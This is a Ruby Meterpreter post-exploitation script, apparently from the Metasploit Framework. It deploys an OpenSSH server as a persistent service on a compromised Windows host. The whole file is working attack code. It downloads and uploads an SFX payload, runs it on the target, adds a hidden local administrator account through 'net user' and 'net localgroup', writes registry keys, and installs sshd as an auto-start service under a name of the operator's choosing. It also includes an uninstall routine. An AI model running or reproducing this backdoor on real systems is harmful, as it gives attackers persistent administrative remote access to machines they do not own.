metasploit-framework/scripts/meterpreter/win32-sshserver.rb

406 lines
12 KiB
Ruby

# win32-sshserver.rb
#
# $Id$
# $Revision$
#
# meterpreter-script to deploy + run OpenSSH
# on the target machine
#
# written by Oliver "illegalguy" Kleinecke
# v.1.0 2010-04-25
#
require 'net/http'
meter_type = client.platform
#
# Options
#
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-f" => [ true, "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"],
"-U" => [ true, "Download OpenSSH-SFX from given URL"],
"-u" => [ true, "Add windows-user (autoadded to local administrators"],
"-p" => [ true, "Password for the new user"],
"-r" => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"],
"-I" => [ true, "Install OpenSSH to the given directory"],
"-F" => [ false, "Force overwriting of registry-values"],
"-S" => [ true, "Set custom service description"],
"-N" => [ true, "Set custom service name"],
"-m" => [ true, "Do not start the OpenSSH-service after installation"],
"-t" => [ true, "Set start-type of the service to manual (Default: auto)"]
)
def usage
print_line("OpenSSH-server deploy+run script")
print_line("This script will deploy OpenSSH + run the SSH-server as a service")
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end
def createkey(key)
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.create_key(root_key, base_key)
end
def deletekey(key)
root_key, base_key = client.sys.registry.splitkey(key)
rtrncode = client.sys.registry.delete_key(root_key, base_key)
return rtrncode
end
def setval(key, value, data, type = "REG_SZ")
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE)
open_key.set_value(value, client.sys.registry.type2str(type), data)
end
def queryval(key, value)
root_key, base_key = client.sys.registry.splitkey(key)
hkey = client.sys.registry.open_key(root_key, base_key)
valdata = hkey.query_value(value)
return valdata.data
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
#
# Default values
#
extractfilename = File.join(Msf::Config.data_directory, "/openssh-extract.sfx")
manual = false
username = "none"
password = nil
downloadurl = 'http://updates.metasploit.com/data/win32-ssh/openssh.sfx'
uninstall = nil
installpath = nil
license = 'Please go to https://olex.openlogic.com/licenses/openssh-license for license information!'
extractexe = nil
warning = 'Script stopped. There are openssh/cygwin-registrykeys on the target host. Please uninstall the service(s) first, or use -F!'
forced = nil
servicename = "OpenSSHd"
servicedesc = "OpenSSH-Server"
noauto = false
dirname = nil
type = "auto"
#
# Option parsing
#
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-f"
if !val
print_error("-f requires the SFX-filename as argument !")
usage
end
extractfilename = val
if not ::File.exists?(extractfilename)
print_error("OpenSSH-SFX not found/accessible!")
usage
end
manual = true
when "-U"
if !val
print_error("-U requires the download-URL for the OpenSSH-SFX as argument !")
usage
end
downloadurl = val
when "-p"
if !val
print_error("-p requires the password (for the windows-user to add) as argument !")
usage
end
if val.length > 14
print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !")
usage
end
password = val
when "-u"
if !val
print_error("-u requires the username (for the windows-user to add) as argument!")
usage
end
username = val
when "-r"
uninstall = true
when "-I"
if !val
print_error("-I requires a directory-name to use as installpath")
usage
end
dirname = val
when "-F"
forced = true
when "-S"
if !val
print_error("-S requires s custom string to use as the service-description")
usage
end
servicedesc = val
when "-N"
if !val
print_error("-N requires a custom string to use as service-name")
usage
end
servicename = val
when "-m"
noauto = true
when "-t"
type = manual
else
print_error("Unknown option: #{opt}")
usage
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
#
# Uninstall if selected
#
if uninstall
username = nil
servicename = nil
begin
dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native")
rescue
print_status("Could not find any sshd installed by this script. Please remove manually!")
deletekey("HKLM\\Software\\Cygnus\ Solutions")
raise Rex::Script::Completed
end
uninstallfile = "#{dirname}\\etc\\uninst.bak"
uf = client.fs.file.new(uninstallfile, "rb")
while not uf.eof?
linesarray = uf.read.split("\r\n")
username = linesarray[0]
servicename = linesarray[1]
end
uf.close
# stop sshd-service, delete it, delete user + files afterwards
print_status("Stopping the #{servicename}-service....")
client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}")
sleep 2
print_status("#{servicename} has been stopped.")
print_status("Deleting the #{servicename}-service....")
client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}")
sleep 1
print_status("#{servicename} has been deleted.")
unless username.strip == "none"
print_status("Deleting user #{username}......")
client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE")
print_status("User #{username} has been deleted")
end
print_status("Deleting the directory #{dirname}....")
client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}")
print_status("#{dirname} has been deleted.")
print_status("Deleting regkeys ....")
deletekey("HKLM\\Software\\Cygnus\ Solutions")
print_status("Registry-keys have been deleted .")
print_status("Uninstall completed!")
raise Rex::Script::Completed
end
#
# Check for OpenSSH/Cygwin - Regkeys first and bail out if they exist
#
root_key, base_key = client.sys.registry.splitkey("HKLM\\Software\\Cygnus\ Solutions")
open_key = client.sys.registry.open_key(root_key, base_key)
keys = open_key.enum_key
if ( keys.length > 0)
if not forced
print_error(warning)
raise Rex::Script::Completed
end
end
#
# If file doesn`t exist and file was not manually specified : auto-download
#
if manual == false
if not ::File.exists?(extractfilename)
print_status("openssh-extract.sfx could not be found. Downloading it now...")
print_status(license)
extractexe = Net::HTTP.get URI.parse(downloadurl)
open(extractfilename, "wb") { |fd| fd.write(extractexe) }
print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.")
downloaded = true
end
end
#
# Generate sshd-dir + upload file to client
#
if dirname == nil
dirname = client.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 ** 8).to_s(36).rjust(8,"0")}"
print_status("Creating directory #{dirname}.....")
client.fs.dir.mkdir(dirname)
else
if !::File.exists?(dirname) && !::File.directory?(dirname)
print_status("Creating directory #{dirname}.....")
client.fs.dir.mkdir(dirname)
end
end
fileontrgt = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.exe"
print_status("Uploading #{extractfilename} to #{fileontrgt}....")
client.fs.file.upload_file(fileontrgt, extractfilename)
print_status("#{extractfilename} successfully uploaded to #{fileontrgt}!")
# Get required infos about the target-system
clientenv = Hash.new
envtxtname = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.txt"
client.sys.process.execute("cmd.exe", "/c set > #{envtxtname}")
fd = client.fs.file.new(envtxtname, "rb")
while not fd.eof?
linesarray = fd.read.split("\r\n")
linesarray.each { |line|
currentline = line.split('=')
envvarname = currentline[0]
envvarvalue = currentline[1]
clientenv[envvarname] = envvarvalue
}
end
fd.close
# Do not continue if client-os is not valid
unless clientenv["OS"] == 'Windows_NT'
print_error("This script will run on Windows-NT based OS only!")
raise Rex::Script::Completed
end
# Extract the files
print_status("Extracting the files ...")
client.sys.process.execute(fileontrgt)
sleep 3
print_status("Files extracted .. ")
#
# Import required registry keys
#
homebase = clientenv["ALLUSERSPROFILE"].slice(0,clientenv["ALLUSERSPROFILE"].rindex('\\'))
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native", dirname)
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "native", homebase)
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "native", "#{dirname}/bin")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\Program Options")
#
# Provide ACL for System User
#
client.sys.process.execute("cacls.exe", "#{dirname} /E /T /G SYSTEM:F")
#
# Add windows-user if requested
#
unless username == "none"
if password == nil
print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!")
usage
end
#Get localized name for windows-admin-grp
admingrpname = nil
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt")
sleep 1
fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb")
while not fd.eof?
linesarray = fd.read.split("\n")
linesarray.each { |line|
if line[0..4] =~ /[aA]dmin/
admingrpname = line.slice!(/[aA]dmin[a-z]+/)
end
}
end
fd.close
sleep 2
client.fs.file.rm("#{dirname}\\groupnames.txt")
print_line("Adding user #{username}....")
client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}")
print_line("Add user #{username} to #{admingrpname}")
client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD")
end
#
# Generate /etc/passwd + /etc/group files
#
print_status("Generating /etc/passwd + /etc/group files....")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkpasswd.exe -l > #{dirname}\\etc\\passwd")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\etc\\group")
#
# Generate SSH-keypairs
#
print_status("Generating SSH-keys .....")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t dsa -f /etc/ssh_host_dsa_key -N \"\"")
sleep 1
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa1 -f /etc/ssh_host_key -N \"\"")
sleep 1
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa -f /etc/ssh_host_rsa_key -N \"\"")
#
# Add OpenSSH - Service
#
print_status("Adding OpenSSHd-Service.......")
if type == manual
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"")
else
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"")
end
print_status("Service successfully installed!")
sleep 2
#
# Save "settings" to txtfile, to be able to del correct user etc afterwards
#
uninstallfile = "#{dirname}\\etc\\uninst.bak"
uf = client.fs.file.new(uninstallfile, "w")
uf.write "#{username} \r\n"
uf.write "#{servicename} \r\n"
uf.close
# Run OpenSSH-service unless noauto was specified
unless noauto
print_status("Starting OpenSSH-Service....")
client.sys.process.execute("cmd.exe", "/c net start #{servicename}")
sleep 1
print_status("OpenSSHd has been started!")
end
# Display OpenSSH-Hostkey, so that user may pass this to sshclient-script directly